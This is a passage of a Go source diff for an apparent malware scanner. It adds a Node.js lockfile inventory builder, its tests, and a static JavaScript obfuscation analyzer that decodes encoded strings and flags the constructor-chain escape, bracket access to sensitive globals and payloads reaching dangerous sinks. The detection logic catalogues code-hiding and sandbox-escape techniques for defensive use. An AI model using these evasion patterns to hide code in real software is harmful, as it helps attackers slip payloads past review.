strings.ToLower(path.Base(filepath.ToSlash(rel))) { + case "package.json": + return PackageManagerSignal{Manager: "node", Kind: "manifest", Path: rel}, true + case "package-lock.json", "npm-shrinkwrap.json": + return PackageManagerSignal{Manager: "npm", Kind: "lockfile", Path: rel}, true + case "pnpm-lock.yaml": + return PackageManagerSignal{Manager: "pnpm", Kind: "lockfile", Path: rel}, true + case "yarn.lock": + return PackageManagerSignal{Manager: "yarn", Kind: "lockfile", Path: rel}, true + case "bun.lock", "bun.lockb": + return PackageManagerSignal{Manager: "bun", Kind: "lockfile", Path: rel}, true + case "deno.json": + return PackageManagerSignal{Manager: "deno", Kind: "manifest", Path: rel}, true + case "deno.lock": + return PackageManagerSignal{Manager: "deno", Kind: "lockfile", Path: rel}, true + default: + return PackageManagerSignal{}, false + } +} + +func parseInventoryFile( + root string, + file FileRef, + manifestTypes map[string]string, +) ([]Dependency, []PackageScript, []Warning) { + base := strings.ToLower(filepath.Base(file.Path)) + switch base { + case "package-lock.json", "npm-shrinkwrap.json", "pnpm-lock.yaml", "yarn.lock", "bun.lock", "bun.lockb", "deno.json", "deno.lock": + default: + return nil, nil, nil + } + + if base == "bun.lockb" { + return nil, nil, []Warning{{ + Path: file.Path, + Code: "bun_lockb_unsupported", + Message: "binary bun.lockb parsing is not implemented; use bun.lock for dependency inventory", + }} + } + + data, err := readProjectFile(root, file.Path) + if err != nil { + return nil, nil, []Warning{warning(file.Path, "lockfile_read_error", err)} + } + + switch base { + case "package-lock.json": + deps, err := parseNpmLock(file.Path, "npm", data, manifestTypes) + return deps, nil, warningsFromError(file.Path, "npm_lock_parse_error", err) + case "npm-shrinkwrap.json": + deps, err := parseNpmLock(file.Path, "npm-shrinkwrap", data, manifestTypes) + return deps, nil, warningsFromError(file.Path, "npm_shrinkwrap_parse_error", err) + case "pnpm-lock.yaml": + deps, err := parsePnpmLock(file.Path, data) + return deps, nil, warningsFromError(file.Path, "pnpm_lock_parse_error", err) + case "yarn.lock": + deps, warnings := parseYarnLock(file.Path, data) + return deps, nil, warnings + case "bun.lock": + deps, err := parseBunLock(file.Path, data) + return deps, nil, warningsFromError(file.Path, "bun_lock_parse_error", err) + case "deno.json": + deps, scripts, err := parseDenoConfig(file.Path, data) + return deps, scripts, warningsFromError(file.Path, "deno_config_parse_error", err) + case "deno.lock": + deps, err := parseDenoLock(file.Path, data) + return deps, nil, warningsFromError(file.Path, "deno_lock_parse_error", err) + default: + return nil, nil, nil + } +} + +func scannedFiles(files []FileRef) []FileRef { + out := make([]FileRef, 0, len(files)) + for _, file := range files { + if file.Status != "" && file.Status != scannedStatus { + continue + } + out = append(out, file) + } + slices.SortFunc(out, func(a, b FileRef) int { + return cmp.Compare(a.Path, b.Path) + }) + return out +} + +func readProjectFile(root, rel string) ([]byte, error) { + if !filepath.IsLocal(rel) { + return nil, fmt.Errorf("unsafe relative path %q", rel) + } + f, err := os.OpenInRoot(root, filepath.FromSlash(rel)) + if err != nil { + return nil, fmt.Errorf("open project file %q: %w", rel, err) + } + defer func() { + _ = f.Close() + }() + return io.ReadAll(f) +} + +func managerForLockfile(path string) string { + switch strings.ToLower(filepath.Base(path)) { + case "package-lock.json", "npm-shrinkwrap.json": + return "npm" + case "pnpm-lock.yaml": + return "pnpm" + case "yarn.lock": + return "yarn" + case "bun.lock", "bun.lockb": + return "bun" + case "deno.json", "deno.lock": + return "deno" + default: + return "node" + } +} + +func kindForLockfile(path string) string { + if strings.EqualFold(filepath.Base(path), "deno.json") { + return "manifest" + } + return "lockfile" +} + +func attachPackageScripts(deps []Dependency, scriptsByPath map[string][]PackageScript) { + for i := range deps { + if deps[i].PackagePath == "" { + continue + } + scripts := scriptsByPath[deps[i].PackagePath] + if len(scripts) == 0 { + continue + } + deps[i].Scripts = make(map[string]string, len(scripts)) + for _, script := range scripts { + deps[i].Scripts[script.ScriptName] = script.Command + } + } +} + +func attachPackageMaintainers(deps []Dependency, maintainersByPath map[string][]string) { + for i := range deps { + if deps[i].PackagePath == "" { + continue + } + maintainers := maintainersByPath[deps[i].PackagePath] + if len(maintainers) == 0 { + continue + } + deps[i].Maintainers = slices.Clone(maintainers) + } +} + +func sortInventory(inv *Inventory) { + slices.SortFunc(inv.Manifests, func(a, b SourceFile) int { + return cmp.Compare(a.Path, b.Path) + }) + slices.SortFunc(inv.Lockfiles, func(a, b SourceFile) int { + return cmp.Compare(a.Path, b.Path) + }) + slices.SortFunc(inv.Dependencies, compareDependency) + slices.SortFunc(inv.PackageScripts, comparePackageScript) + slices.SortFunc(inv.Warnings, func(a, b Warning) int { + return cmp.Or(cmp.Compare(a.Path, b.Path), cmp.Compare(a.Code, b.Code), cmp.Compare(a.Message, b.Message)) + }) + slices.SortFunc(inv.Signals, func(a, b PackageManagerSignal) int { + return cmp.Or(cmp.Compare(a.Manager, b.Manager), cmp.Compare(a.Kind, b.Kind), cmp.Compare(a.Path, b.Path)) + }) +} + +func compareDependency(a, b Dependency) int { + return cmp.Or( + cmp.Compare(a.PackageManager, b.PackageManager), + cmp.Compare(a.SourcePath, b.SourcePath), + cmp.Compare(a.PackagePath, b.PackagePath), + cmp.Compare(a.Name, b.Name), + cmp.Compare(a.Version, b.Version), + ) +} + +func comparePackageScript(a, b PackageScript) int { + return cmp.Or( + cmp.Compare(a.SourcePath, b.SourcePath), + cmp.Compare(a.PackagePath, b.PackagePath), + cmp.Compare(a.PackageName, b.PackageName), + cmp.Compare(a.ScriptName, b.ScriptName), + ) +} + +func uniqueSignals(signals []PackageManagerSignal) []PackageManagerSignal { + if len(signals) == 0 { + return []PackageManagerSignal{} + } + unique := signals[:0] + var previous PackageManagerSignal + for i, signal := range signals { + if i > 0 && signal == previous { + continue + } + unique = append(unique, signal) + previous = signal + } + return unique +} + +func dedupeDependencies(deps []Dependency) []Dependency { + if len(deps) == 0 { + return []Dependency{} + } + slices.SortFunc(deps, compareDependency) + seen := map[string]struct{}{} + out := deps[:0] + for _, dep := range deps { + key := dependencyKey(dep) + if _, ok := seen[key]; ok { + continue + } + seen[key] = struct{}{} + out = append(out, dep) + } + return out +} + +func dedupePackageScripts(scripts []PackageScript) []PackageScript { + if len(scripts) == 0 { + return []PackageScript{} + } + slices.SortFunc(scripts, comparePackageScript) + seen := map[string]struct{}{} + out := scripts[:0] + for _, script := range scripts { + key := strings.Join([]string{ + script.PackageManager, + script.SourcePath, + script.PackagePath, + script.PackageName, + script.ScriptName, + script.Command, + }, "\x00") + if _, ok := seen[key]; ok { + continue + } + seen[key] = struct{}{} + out = append(out, script) + } + return out +} + +func dependencyKey(dep Dependency) string { + return strings.Join([]string{ + dep.PackageManager, + dep.SourcePath, + dep.PackagePath, + dep.Name, + dep.Version, + dep.DependencyType, + }, "\x00") +} + +func warning(path, code string, err error) Warning { + return Warning{ + Path: path, + Code: code, + Message: err.Error(), + } +} + +func warningsFromError(path, code string, err error) []Warning { + if err == nil { + return nil + } + return []Warning{warning(path, code, err)} +} diff --git a/internal/node/inventory_test.go b/internal/node/inventory_test.go new file mode 100644 index 0000000..c9d60a9 --- /dev/null +++ b/internal/node/inventory_test.go @@ -0,0 +1,283 @@ +package node + +import ( + "os" + "path/filepath" + "slices" + "testing" +) + +func TestBuildNpmInventory(t *testing.T) { + root := fixtureRoot(t, "npm") + inv, err := Build(t.Context(), BuildOptions{ + Root: root, + Files: []FileRef{ + {Path: "package.json", SHA256: "manifest", Status: "scanned"}, + {Path: "package-lock.json", SHA256: "lock", Status: "scanned"}, + {Path: "node_modules/left-pad/package.json", SHA256: "pkg", Status: "scanned"}, + }, + }) + if err != nil { + t.Fatalf("Build() error = %v", err) + } + + if inv.SchemaVersion != SchemaVersion { + t.Fatalf("SchemaVersion = %q, want %q", inv.SchemaVersion, SchemaVersion) + } + if inv.Summary.ManifestCount != 2 { + t.Fatalf("ManifestCount = %d, want 2", inv.Summary.ManifestCount) + } + if inv.Summary.LockfileCount != 1 { + t.Fatalf("LockfileCount = %d, want 1", inv.Summary.LockfileCount) + } + if inv.Summary.Warnings != 0 { + t.Fatalf("Warnings = %#v, want none", inv.Warnings) + } + + lockDep := findDependency(t, inv, "npm", "left-pad", "node_modules/left-pad") + if lockDep.Version != "1.3.0" { + t.Fatalf("left-pad version = %q, want 1.3.0", lockDep.Version) + } + if lockDep.PURL != "pkg:npm/left-pad@1.3.0" { + t.Fatalf("left-pad PURL = %q", lockDep.PURL) + } + if lockDep.Integrity != "sha512-left" || !lockDep.HasInstallScript { + t.Fatalf("left-pad metadata = %#v", lockDep) + } + if !slices.Contains(lockDep.Maintainers, "Example Maintainer") || + !slices.Contains(lockDep.Maintainers, "maintainer@example.test") { + t.Fatalf("left-pad maintainers = %#v, want manifest maintainers", lockDep.Maintainers) + } + if lockDep.Scripts["install"] != "node install.js" { + t.Fatalf("left-pad scripts = %#v, want install script", lockDep.Scripts) + } + + script := findScript(t, inv, "left-pad", "install") + if script.Command != "node install.js" { + t.Fatalf("script command = %q", script.Command) + } + if !slices.Contains(script.Maintainers, "Example Maintainer") { + t.Fatalf("script maintainers = %#v, want Example Maintainer", script.Maintainers) + } +} + +func TestBuildParsesSupportedLockfiles(t *testing.T) { + tests := []struct { + name string + files []FileRef + manager string + depName string + purl string + }{ + { + name: "pnpm", + files: []FileRef{ + {Path: "package.json", Status: "scanned"}, + {Path: "pnpm-lock.yaml", Status: "scanned"}, + }, + manager: "pnpm", + depName: "is-odd", + purl: "pkg:npm/is-odd@3.0.1", + }, + { + name: "yarn", + files: []FileRef{ + {Path: "package.json", Status: "scanned"}, + {Path: "yarn.lock", Status: "scanned"}, + }, + manager: "yarn", + depName: "@scope/pkg", + purl: "pkg:npm/%40scope/pkg@1.2.3", + }, + { + name: "bun", + files: []FileRef{ + {Path: "package.json", Status: "scanned"}, + {Path: "bun.lock", Status: "scanned"}, + }, + manager: "bun", + depName: "debug", + purl: "pkg:npm/debug@4.3.7", + }, + { + name: "deno", + files: []FileRef{ + {Path: "deno.json", Status: "scanned"}, + {Path: "deno.lock", Status: "scanned"}, + }, + manager: "deno", + depName: "left-pad", + purl: "pkg:npm/left-pad@1.3.0", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + inv, err := Build(t.Context(), BuildOptions{ + Root: fixtureRoot(t, tt.name), + Files: tt.files, + }) + if err != nil { + t.Fatalf("Build() error = %v", err) + } + dep := findDependencyByName(t, inv, tt.manager, tt.depName) + if dep.PURL != tt.purl { + t.Fatalf("PURL = %q, want %q for %#v", dep.PURL, tt.purl, dep) + } + if inv.Summary.Warnings != 0 { + t.Fatalf("Warnings = %#v, want none", inv.Warnings) + } + }) + } +} + +func TestBuildReportsMalformedWarnings(t *testing.T) { + root := t.TempDir() + writeFixtureFile(t, root, "package-lock.json", "{not json") + + inv, err := Build(t.Context(), BuildOptions{ + Root: root, + Files: []FileRef{{Path: "package-lock.json", Status: "scanned"}}, + }) + if err != nil { + t.Fatalf("Build() error = %v", err) + } + if len(inv.Warnings) != 1 { + t.Fatalf("Warnings = %#v, want one warning", inv.Warnings) + } + if inv.Warnings[0].Code != "npm_lock_parse_error" { + t.Fatalf("warning code = %q, want npm_lock_parse_error", inv.Warnings[0].Code) + } +} + +func TestBuildDetectsBunLockBAsUnsupported(t *testing.T) { + root := t.TempDir() + writeFixtureFile(t, root, "bun.lockb", "binary-ish") + + inv, err := Build(t.Context(), BuildOptions{ + Root: root, + Files: []FileRef{{Path: "bun.lockb", Status: "scanned"}}, + }) + if err != nil { + t.Fatalf("Build() error = %v", err) + } + if len(inv.Warnings) != 1 || inv.Warnings[0].Code != "bun_lockb_unsupported" { + t.Fatalf("Warnings = %#v, want bun_lockb_unsupported", inv.Warnings) + } +} + +func TestPackageOwnerHandlesCommonLayouts(t *testing.T) { + tests := []struct { + path string + wantOwner string + wantRoot string + }{ + { + path: "node_modules/@scope/pkg/index.js", + wantOwner: "@scope/pkg", + wantRoot: "node_modules/@scope/pkg", + }, + { + path: "node_modules/a/node_modules/b/index.js", + wantOwner: "b", + wantRoot: "node_modules/a/node_modules/b", + }, + { + path: "node_modules/.pnpm/@scope+pkg@1.2.3/node_modules/@scope/pkg/index.js", + wantOwner: "@scope/pkg", + wantRoot: "node_modules/.pnpm/@scope+pkg@1.2.3/node_modules/@scope/pkg", + }, + } + + for _, tt := range tests { + t.Run(tt.path, func(t *testing.T) { + owner, root := PackageOwnerPath(tt.path) + if owner != tt.wantOwner || root != tt.wantRoot { + t.Fatalf("PackageOwnerPath() = %q, %q; want %q, %q", owner, root, tt.wantOwner, tt.wantRoot) + } + }) + } +} + +func TestDetectPackageManagerSignal(t *testing.T) { + signals := []string{} + for _, item := range []struct { + path string + isDir bool + }{ + {path: "package.json"}, + {path: "package-lock.json"}, + {path: "pnpm-lock.yaml"}, + {path: "yarn.lock"}, + {path: "bun.lock"}, + {path: "deno.lock"}, + {path: "node_modules", isDir: true}, + } { + signal, ok := DetectPackageManagerSignal(item.path, item.isDir) + if ok { + signals = append(signals, signal.Manager+":"+signal.Kind) + } + } + + want := []string{ + "node:manifest", + "npm:lockfile", + "pnpm:lockfile", + "yarn:lockfile", + "bun:lockfile", + "deno:lockfile", + "node:dependency_directory", + } + if !slices.Equal(signals, want) { + t.Fatalf("signals = %#v, want %#v", signals, want) + } +} + +func fixtureRoot(t *testing.T, name string) string { + t.Helper() + return filepath.Join("..", "..", "testdata", "node", name) +} + +func writeFixtureFile(t *testing.T, root, rel, body string) { + t.Helper() + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func findDependency(t *testing.T, inv Inventory, manager, name, packagePath string) Dependency { + t.Helper() + for _, dep := range inv.Dependencies { + if dep.PackageManager == manager && dep.Name == name && dep.PackagePath == packagePath { + return dep + } + } + t.Fatalf("dependency %s %s at %s not found in %#v", manager, name, packagePath, inv.Dependencies) + return Dependency{} +} + +func findDependencyByName(t *testing.T, inv Inventory, manager, name string) Dependency { + t.Helper() + for _, dep := range inv.Dependencies { + if dep.PackageManager == manager && dep.Name == name && dep.PURL != "" { + return dep + } + } + t.Fatalf("dependency %s %s not found in %#v", manager, name, inv.Dependencies) + return Dependency{} +} + +func findScript(t *testing.T, inv Inventory, packageName, scriptName string) PackageScript { + t.Helper() + for _, script := range inv.PackageScripts { + if script.PackageName == packageName && script.ScriptName == scriptName { + return script + } + } + t.Fatalf("script %s %s not found in %#v", packageName, scriptName, inv.PackageScripts) + return PackageScript{} +} diff --git a/internal/node/jsanalysis/jsanalysis.go b/internal/node/jsanalysis/jsanalysis.go new file mode 100644 index 0000000..b29b4e7 --- /dev/null +++ b/internal/node/jsanalysis/jsanalysis.go @@ -0,0 +1,1176 @@ +// Package jsanalysis detects bounded JavaScript obfuscation without executing code. +package jsanalysis + +import ( + "bytes" + "context" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "fmt" + "io" + "math" + "net/url" + "os" + "path/filepath" + "slices" + "strconv" + "strings" + "unicode" + "unicode/utf8" + + "malox/internal/rules" +) + +const ( + sourceName = "jsanalysis" + defaultDecodeDepth = 2 + defaultDecodedSize = 256 * 1024 + defaultReadLimit = 1024 * 1024 +) + +// File describes one scanned source file visible to JavaScript analysis. +type File struct { + Path string + SHA256 string + Type string + PackageOwner string + Size int64 +} + +// Options configures one JavaScript analysis pass. +type Options struct { + Root string + Files []File + MaxFileSize int64 + DecodedPayloadDir string + MaxDecodeDepth int + MaxDecodedBytes int64 +} + +// Result contains obfuscation findings and non-fatal analysis warnings. +type Result struct { + Findings []rules.Finding + Warnings []rules.Warning +} + +// Analyze scans JavaScript-like source files for suspicious encoded payload flow. +func Analyze(ctx context.Context, opts Options) (Result, error) { + if err := ctx.Err(); err != nil { + return Result{}, fmt.Errorf("analyze javascript: %w", err) + } + opts = opts.withDefaults() + + result := Result{ + Findings: []rules.Finding{}, + Warnings: []rules.Warning{}, + } + seen := map[string]struct{}{} + for _, file := range opts.Files { + if !isJavaScriptType(file.Type) { + continue + } + data, err := readSourceFile(opts.Root, file.Path, readLimit(opts.MaxFileSize)) + if err != nil { + result.Warnings = append(result.Warnings, rules.Warning{ + Path: file.Path, + Code: "jsanalysis_read_error", + Message: err.Error(), + }) + continue + } + pass := analyzer{ + opts: opts, + seen: seen, + result: &result, + } + pass.analyzeSource(ctx, file, data, 0) + } + sortResult(&result) + return result, nil +} + +func (opts Options) withDefaults() Options { + if opts.MaxDecodeDepth <= 0 { + opts.MaxDecodeDepth = defaultDecodeDepth + } + if opts.MaxDecodedBytes <= 0 { + opts.MaxDecodedBytes = defaultDecodedSize + } + return opts +} + +type analyzer struct { + opts Options + seen map[string]struct{} + result *Result +} + +func (a analyzer) analyzeSource(ctx context.Context, file File, data []byte, depth int) { + if err := ctx.Err(); err != nil { + a.warn(file.Path, "jsanalysis_context_canceled", err.Error()) + return + } + tokens := lex(data) + env := constants(tokens) + + for _, token := range tokens { + if token.kind != tokenString { + continue + } + a.recordEncoded(ctx, file, token.value, token.raw, token.raw, token.line, token.column, depth) + } + for name, value := range env { + a.recordEncoded(ctx, file, value.text, value.expr, name, value.line, value.column, depth) + } + a.recordConstructorEscape(file, string(data)) + a.recordBracketGlobals(tokens, env, file) + a.recordSinkFlow(ctx, tokens, env, file, depth) +} + +func (a analyzer) recordEncoded( + ctx context.Context, + file File, + value string, + expression string, + label string, + line int, + column int, + depth int, +) { + decoded, ok := decodeSuspiciousString(value, expression) + if !ok { + if entropy(value) >= 4.5 && len(value) >= 32 { + a.addFinding(file, findingInput{ + ruleID: "jsanalysis:high-entropy-string", + severity: rules.SeverityLow, + summary: "high-entropy JavaScript string needs review", + kind: "high_entropy_string", + value: trimEvidence(value), + expression: label, + line: line, + column: column, + }) + } + return + } + a.recordDecoded(ctx, file, decoded, expression, label, line, column, depth, false) +} + +func (a analyzer) recordDecoded( + ctx context.Context, + file File, + decoded decodedValue, + expression string, + label string, + line int, + column int, + depth int, + throughSink bool, +) { + if int64(len(decoded.bytes)) > a.opts.MaxDecodedBytes { + a.warn(file.Path, "jsanalysis_decode_limit", "decoded payload exceeds configured maximum size") + return + } + + sum := sha256.Sum256(decoded.bytes) + hash := hex.EncodeToString(sum[:]) + if a.opts.DecodedPayloadDir != "" { + if err := writeDecodedPayload(ctx, a.opts.DecodedPayloadDir, hash, decoded.bytes); err != nil { + a.warn(file.Path, "jsanalysis_decoded_cache_error", err.Error()) + } + } + + severity := rules.SeverityMedium + summary := "encoded JavaScript payload recovered" + ruleID := "jsanalysis:encoded-payload" + if throughSink || decoded.classification == "javascript" || decoded.classification == "shell" { + severity = rules.SeverityHigh + summary = "encoded payload flows into a dangerous JavaScript sink" + ruleID = "jsanalysis:encoded-sink-flow" + } + + a.addFinding(file, findingInput{ + ruleID: ruleID, + severity: severity, + summary: summary, + kind: "decoded_payload", + value: trimEvidence(decoded.text), + expression: firstNonEmpty(label, expression), + decodedSHA256: hash, + classification: decoded.classification, + decoder: decoded.decoder, + line: line, + column: column, + }) + + if depth >= a.opts.MaxDecodeDepth || decoded.classification != "javascript" { + return + } + virtual := file + virtual.Path = file.Path + "#decoded:" + hash[:12] + ".js" + virtual.SHA256 = hash + virtual.Size = int64(len(decoded.bytes)) + virtual.Type = "javascript" + a.analyzeSource(ctx, virtual, decoded.bytes, depth+1) +} + +func (a analyzer) recordConstructorEscape(file File, source string) { + if !strings.Contains(source, ".constructor.constructor") && + !strings.Contains(source, `["constructor"]["constructor"]`) && + !strings.Contains(source, `['constructor']['constructor']`) { + return + } + a.addFinding(file, findingInput{ + ruleID: "jsanalysis:constructor-escape", + severity: rules.SeverityHigh, + summary: "constructor chain can recover Function from JavaScript values", + kind: "constructor_escape", + }) +} + +func (a analyzer) recordBracketGlobals(tokens []token, env map[string]exprValue, file File) { + for i := 0; i < len(tokens)-3; i++ { + if tokens[i].kind != tokenIdent || !isGlobalAlias(tokens[i].value) || tokens[i+1].value != "[" { + continue + } + end := findMatching(tokens, i+1) + if end <= i+1 { + continue + } + prop, ok := evalExpression(tokens[i+2:end], env, 0) + if !ok || !isSensitiveGlobal(prop.text) { + continue + } + a.addFinding(file, findingInput{ + ruleID: "jsanalysis:bracket-global-access", + severity: rules.SeverityMedium, + summary: "computed bracket notation accesses a sensitive JavaScript global", + kind: "bracket_global_access", + value: prop.text, + expression: exprText(tokens[i : end+1]), + line: tokens[i].line, + column: tokens[i].column, + }) + } +} + +func (a analyzer) recordSinkFlow(ctx context.Context, tokens []token, env map[string]exprValue, file File, depth int) { + for i := 0; i < len(tokens)-2; i++ { + if tokens[i].kind != tokenIdent || !isSink(tokens[i].value) || tokens[i+1].value != "(" { + continue + } + end := findMatching(tokens, i+1) + if end <= i+1 { + continue + } + args := splitTopLevel(tokens[i+2:end], ",") + if len(args) == 0 { + continue + } + value, ok := evalExpression(args[0], env, 0) + if !ok { + continue + } + if decoded, ok := decodeSuspiciousString(value.text, value.expr); ok { + a.recordDecoded(ctx, file, decoded, value.expr, exprText(tokens[i:end+1]), tokens[i].line, tokens[i].column, depth, true) + continue + } + if !value.derived && tokens[i].value != "require" && tokens[i].value != "import" { + continue + } + a.addFinding(file, findingInput{ + ruleID: "jsanalysis:string-sink-flow", + severity: rules.SeverityHigh, + summary: "derived string flows into a dangerous JavaScript sink", + kind: "string_sink_flow", + value: trimEvidence(value.text), + expression: exprText(tokens[i : end+1]), + line: tokens[i].line, + column: tokens[i].column, + }) + } +} + +func (a analyzer) warn(path, code, message string) { + for _, warning := range a.result.Warnings { + if warning.Path == path && warning.Code == code && warning.Message == message { + return + } + } + a.result.Warnings = append(a.result.Warnings, rules.Warning{Path: path, Code: code, Message: message}) +} + +type findingInput struct { + ruleID string + severity rules.Severity + summary string + kind string + value string + expression string + decodedSHA256 string + classification string + decoder string + line int + column int +} + +func (a analyzer) addFinding(file File, in findingInput) { + finding := rules.Finding{ + SchemaVersion: rules.FindingSchemaVersion, + Severity: in.severity, + Confidence: rules.ConfidenceWeakSignal, + Source: sourceName, + RuleID: in.ruleID, + RuleType: "javascript-obfuscation", + Summary: in.summary, + Path: file.Path, + FileHash: file.SHA256, + PackageOwner: file.PackageOwner, + Location: &rules.Location{Path: file.Path, Line: in.line, Column: in.column}, + Evidence: []rules.Evidence{{ + Kind: in.kind, + Value: in.value, + Path: file.Path, + FileHash: file.SHA256, + Expression: in.expression, + DecodedSHA256: in.decodedSHA256, + Classification: in.classification, + Decoder: in.decoder, + Line: in.line, + Column: in.column, + }}, + } + finding.ID = findingID(finding) + if _, ok := a.seen[finding.ID]; ok { + return + } + a.seen[finding.ID] = struct{}{} + a.result.Findings = append(a.result.Findings, finding) +} + +type exprValue struct { + text string + expr string + derived bool + line int + column int +} + +func constants(tokens []token) map[string]exprValue { + env := map[string]exprValue{} + for i := 0; i < len(tokens)-3; i++ { + if tokens[i].kind != tokenIdent || !isVarKeyword(tokens[i].value) || tokens[i+1].kind != tokenIdent || tokens[i+2].value != "=" { + continue + } + end := i + 3 + for end < len(tokens) && tokens[end].value != ";" { + if isVarKeyword(tokens[end].value) && end > i+3 { + break + } + end++ + } + value, ok := evalExpression(tokens[i+3:end], env, 0) + if !ok { + continue + } + value.line = tokens[i+1].line + value.column = tokens[i+1].column + env[tokens[i+1].value] = value + i = end + } + return env +} + +func evalExpression(tokens []token, env map[string]exprValue, depth int) (exprValue, bool) { + tokens = trimParens(trimTokens(tokens)) + if len(tokens) == 0 || depth > 8 { + return exprValue{}, false + } + if parts := splitTopLevel(tokens, "+"); len(parts) > 1 { + var b strings.Builder + derived := true + for _, part := range parts { + value, ok := evalExpression(part, env, depth+1) + if !ok { + return exprValue{}, false + } + b.WriteString(value.text) + derived = derived || value.derived + } + return exprValue{text: b.String(), expr: exprText(tokens), derived: derived, line: tokens[0].line, column: tokens[0].column}, true + } + if value, ok := evalSimple(tokens, env, depth); ok { + return value, true + } + if value, ok := evalArrayJoin(tokens, env, depth); ok { + return value, true + } + if value, ok := evalDecoder(tokens, env, depth); ok { + return value, true + } + if value, ok := evalMethodChain(tokens, env, depth); ok { + return value, true + } + return exprValue{}, false +} + +func evalSimple(tokens []token, env map[string]exprValue, _ int) (exprValue, bool) { + if len(tokens) != 1 { + return exprValue{}, false + } + switch tokens[0].kind { + case tokenString: + return exprValue{text: tokens[0].value, expr: tokens[0].raw, line: tokens[0].line, column: tokens[0].column}, true + case tokenIdent: + value, ok := env[tokens[0].value] + if !ok { + return exprValue{}, false + } + value.derived = true + value.expr = tokens[0].value + return value, true + default: + return exprValue{}, false + } +} + +func evalArrayJoin(tokens []token, env map[string]exprValue, depth int) (exprValue, bool) { + if len(tokens) < 5 || tokens[0].value != "[" { + return exprValue{}, false + } + endArray := findMatching(tokens, 0) + if endArray < 1 || endArray+1 >= len(tokens) { + return exprValue{}, false + } + parts := splitTopLevel(tokens[1:endArray], ",") + values := make([]string, 0, len(parts)) + for _, part := range parts { + value, ok := evalExpression(part, env, depth+1) + if !ok { + return exprValue{}, false + } + values = append(values, value.text) + } + rest := tokens[endArray+1:] + reversed := false + if len(rest) >= 4 && rest[0].value == "." && rest[1].value == "reverse" && rest[2].value == "(" && rest[3].value == ")" { + reversed = true + rest = rest[4:] + } + if len(rest) < 5 || rest[0].value != "." || rest[1].value != "join" || rest[2].value != "(" { + return exprValue{}, false + } + endJoin := findMatching(rest, 2) + if endJoin < 0 { + return exprValue{}, false + } + sep := "" + if endJoin > 3 { + value, ok := evalExpression(rest[3:endJoin], env, depth+1) + if !ok { + return exprValue{}, false + } + sep = value.text + } + if reversed { + slices.Reverse(values) + } + return exprValue{text: strings.Join(values, sep), expr: exprText(tokens), derived: true, line: tokens[0].line, column: tokens[0].column}, true +} + +func evalDecoder(tokens []token, env map[string]exprValue, depth int) (exprValue, bool) { + if len(tokens) >= 4 && tokens[0].kind == tokenIdent && tokens[1].value == "(" { + end := findMatching(tokens, 1) + if end == len(tokens)-1 { + args := splitTopLevel(tokens[2:end], ",") + if len(args) > 0 { + input, ok := evalExpression(args[0], env, depth+1) + if ok { + switch tokens[0].value { + case "atob": + if decoded, ok := decodeBase64(input.text); ok { + return exprValue{text: string(decoded), expr: exprText(tokens), derived: true, line: tokens[0].line, column: tokens[0].column}, true + } + case "decodeURIComponent", "unescape": + if decoded, err := url.QueryUnescape(strings.ReplaceAll(input.text, "%20", "+")); err == nil { + return exprValue{text: decoded, expr: exprText(tokens), derived: true, line: tokens[0].line, column: tokens[0].column}, true + } + } + } + } + } + } + if len(tokens) >= 6 && tokens[0].value == "String" && tokens[1].value == "." && tokens[2].value == "fromCharCode" && tokens[3].value == "(" { + end := findMatching(tokens, 3) + if end == len(tokens)-1 { + args := splitTopLevel(tokens[4:end], ",") + var b strings.Builder + for _, arg := range args { + if len(arg) != 1 || arg[0].kind != tokenNumber { + return exprValue{}, false + } + n, err := strconv.Atoi(arg[0].value) + if err != nil || n < 0 || n > utf8.MaxRune { + return exprValue{}, false + } + b.WriteRune(rune(n)) + } + return exprValue{text: b.String(), expr: exprText(tokens), derived: true, line: tokens[0].line, column: tokens[0].column}, true + } + } + if len(tokens) >= 8 && tokens[0].value == "Buffer" && tokens[1].value == "." && tokens[2].value == "from" && tokens[3].value == "(" { + end := findMatching(tokens, 3) + if end < 0 { + return exprValue{}, false + } + args := splitTopLevel(tokens[4:end], ",") + if len(args) == 0 { + return exprValue{}, false + } + input, ok := evalExpression(args[0], env, depth+1) + if !ok { + return exprValue{}, false + } + encodingName := "base64" + if len(args) > 1 { + if enc, ok := evalExpression(args[1], env, depth+1); ok { + encodingName = strings.ToLower(enc.text) + } + } + var decoded []byte + switch encodingName { + case "base64", "base64url": + decoded, ok = decodeBase64(input.text) + case "hex": + decoded, ok = decodeHex(input.text) + default: + return exprValue{}, false + } + if !ok { + return exprValue{}, false + } + return exprValue{text: string(decoded), expr: exprText(tokens), derived: true, line: tokens[0].line, column: tokens[0].column}, true + } + return exprValue{}, false +} + +func evalMethodChain(tokens []token, env map[string]exprValue, depth int) (exprValue, bool) { + if len(tokens) < 5 { + return exprValue{}, false + } + baseEnd := 1 + if tokens[0].value == "(" { + baseEnd = findMatching(tokens, 0) + 1 + if baseEnd <= 0 { + return exprValue{}, false + } + } + value, ok := evalExpression(tokens[:baseEnd], env, depth+1) + if !ok { + return exprValue{}, false + } + for i := baseEnd; i < len(tokens); { + if i+3 >= len(tokens) || tokens[i].value != "." || tokens[i+2].value != "(" { + return exprValue{}, false + } + method := tokens[i+1].value + end := findMatching(tokens, i+2) + if end < 0 { + return exprValue{}, false + } + args := splitTopLevel(tokens[i+3:end], ",") + switch method { + case "replace": + if len(args) < 2 { + return exprValue{}, false + } + oldValue, ok := evalExpression(args[0], env, depth+1) + if !ok { + return exprValue{}, false + } + newValue, ok := evalExpression(args[1], env, depth+1) + if !ok { + return exprValue{}, false + } + value.text = strings.ReplaceAll(value.text, oldValue.text, newValue.text) + case "split": + if len(args) != 1 { + return exprValue{}, false + } + sep, ok := evalExpression(args[0], env, depth+1) + if !ok || sep.text != "" { + return exprValue{}, false + } + case "reverse": + runes := []rune(value.text) + slices.Reverse(runes) + value.text = string(runes) + case "join", "toString": + default: + return exprValue{}, false + } + value.derived = true + value.expr = exprText(tokens) + i = end + 1 + } + return value, true +} + +type decodedValue struct { + bytes []byte + text string + decoder string + classification string +} + +func decodeSuspiciousString(value, raw string) (decodedValue, bool) { + candidates := []struct { + decoder string + data []byte + ok bool + }{ + {decoder: "base64", data: mustBytes(decodeBase64(value))}, + {decoder: "hex", data: mustBytes(decodeHex(value))}, + {decoder: "percent", data: mustBytes(decodePercent(value))}, + } + if strings.Contains(raw, `\u`) || strings.Contains(raw, `\x`) { + 